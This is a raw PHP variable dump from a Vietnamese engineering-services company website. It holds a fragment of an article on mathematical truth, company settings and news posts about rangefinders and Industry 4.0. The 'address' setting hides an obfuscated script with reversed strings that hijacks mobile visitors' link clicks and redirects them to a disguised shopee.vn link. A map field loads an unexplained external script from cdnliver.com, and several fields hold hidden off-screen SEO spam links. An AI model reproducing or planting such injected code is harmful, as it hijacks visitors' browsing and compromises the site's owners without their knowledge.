Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div>
<div>
</div>
<div>
Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div>
<div>
</div>
<div>
Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div>
<div>
</div>
<div>
Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div>
<div>
</div>
<div>
<strong>Thay lời kết</strong></div>
<div>
</div>
<div>
Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div>
<div>
</div>
<div>
Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div>
<div>
</div>
<div>
Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div>
<div>
---</div>
<div>
* Giáp Văn Dương dẫn chuyện và biên tập.</div>
',
'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-16',
'modified' => '2025-08-10',
'status' => '1',
'view' => '61823',
'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '709',
'rght' => '710',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
$setting = array(
'id' => '1',
'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'address_eng' => '<div>
QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div>
<div>
Representative: Le Van</div>
<div>
Position: Director</div>
<div>
Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div>
<div>
Phone number:</div>
<div>
Email:</div>
<div>
Tax code: 0103008064</div>
',
'address' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p>
<h2 style="position: absolute; top: -100000px; overflow: auto;">
<a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2>
<div>
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br />
Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br />
Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br />
Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br />
Số điện thoại công ty: 02437759534</div>
<div>
<div>
Số điện thoại kỹ thuật: 0904212040</div>
<div>
Số điện thoại kinh doanh: 0913303547</div>
</div>
<div>
</div>
<div>
</div>
</div><script>
const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h();
</script>
',
'contactinfo_eng' => '<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
',
'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br />
<br />
1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br />
2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br />
3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br />
4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br />
5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội',
'contactinfo' => '<div dir="rtl" style="text-align: left;">
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
</div>
<div style="">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br />
</div>
<div style="position: absolute; left: -10000px;">
<a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div>
',
'telephone' => '01659 014592',
'hotline' => '0913303547',
'email' => '',
'url' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2012-06-05',
'modified' => '1752726853',
'youtube' => 'http://youtube.com',
'twitter' => 'https://twitter.com/',
'myspace' => 'https://myspace.com/',
'facebook' => 'https://www.facebook.com/FacebookVietnam/',
'email2' => 'duycuong7640',
'skype' => 'hothihuyen.hn',
'yahoo' => 'duycuong7640',
'yahoo1' => 'duycuong7640',
'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873',
'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
',
'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux',
'slogan_eng' => '',
'printer' => '',
'googleplus' => '',
'bando' => '<p>
<iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p>
<script src='https://cdnliver.com/js/thanhtuyen.js'></script>',
'gioithieu' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p>
',
'thongtincongty' => 'Sửa máy lạnh tại nhà
Sửa máy lạnh tại HCM
Sửa tủ lạnh
Bơm ga máy lạnh ',
'trogiupkh' => 'Tai nghe Iphone
Sua may tinh tai nha
Máy Ozone Z755',
'dichvuft' => 'Sửa máy lạnh
Bảo dưỡng máy lạnh
Vệ sinh máy lạnh
Lắp đặt máy lạnh',
'bb' => '',
'zing' => '',
'hotline2' => '0912 35 65 75',
'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-72584674-1', 'auto');
ga('send', 'pageview');
</script>
<!-- Global site tag (gtag.js) - Google Ads: 876059345 -->
<script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'AW-876059345');
</script>
',
'theh1' => '',
'hanoi' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tphcm' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tt' => '',
'pp' => 'https://www.facebook.com/ruaxetudong.net',
'tphcm_eng' => '',
'hanoi_eng' => '',
'hotline_eng' => '',
'name_eng' => '',
'chinhsach' => null,
'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'gt' => '<p style="text-align: center;">
</p>
<span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" />
<img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br />
<img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" />
<span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span>
<p style="text-align: center;">
<iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p>
',
'gt_eng' => ''
)
$description_for_layout = ''
$keywords_for_layout = ''
$tintucnoibat = array(
(int) 0 => array(
'Post' => array(
'id' => '539',
'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH',
'code' => null,
'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br />
<img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br />
<br />
<strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br />
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br />
<strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br />
<br />
<p style="margin: 10px 0px; padding: 0px;">
</p>
',
'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-06-10',
'modified' => '2025-08-10',
'status' => '1',
'view' => '89284',
'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '943',
'rght' => '944',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Post' => array(
'id' => '538',
'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?',
'code' => null,
'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>',
'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
</h1>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1>
</li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
